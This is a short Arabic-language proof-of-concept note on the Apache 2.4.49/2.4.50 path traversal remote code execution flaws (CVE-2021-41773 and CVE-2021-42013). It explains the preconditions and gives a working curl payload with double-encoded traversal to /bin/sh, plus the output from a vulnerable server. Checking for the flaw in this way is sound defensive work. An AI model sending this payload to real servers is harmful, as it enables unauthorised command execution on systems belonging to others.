CVE-2021-41773

استغلال RCE لكل من Apache 2.4.49 (CVE-2021-41773) و 2.4.50 (CVE-2021-42013):

في رأيي المتواضع، فقط الإعدادات "الخاصة" ستكون عرضة لهذا الاستغلال RCE.
نفس الأمر ينطبق على استغلالات "قراءة الملفات العشوائية" التي شاهدتها.

كلا ثغرتي CVE هما في الواقع نفس ثغرة اجتياز المسار تقريبًا (الثانية هي إصلاح غير مكتمل للأولى).
اجتياز المسار يعمل فقط من URI مُعيّن (مثلًا عبر توجيهات Apache "Alias" أو "ScriptAlias"). DocumentRoot وحده غير كافٍ.

"/cgi-bin/" مُعيّن افتراضيًا (ScriptAlias)، ولهذا السبب يُستخدم قبل سلسلة اجتياز المسار.
علاوة على ذلك، يعلّم ScriptAlias جميع محتويات الدليل المحدد على أنها Exec (بالنسبة لـ Apache) بغض النظر عن امتدادات الملفات.

المتطلبات:

1/ تفعيل mod_cgi (ليس افتراضيًا لكنه سهل)
2/ يجب أن يكون للثنائي الهدف صلاحية +x (الافتراضية لـ /bin/sh)
3/ منح صلاحيات apache لـ /bin أو / (ليس افتراضيًا وصعب/غير واقعي)\

تحقق مما إذا كان الخادم عرضة للثغرة:

curl 'http://IPADDR/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'

الاستجابة من خادم عرضة للثغرة:

uid=1(daemon) gid=1(daemon) groups=1(daemon)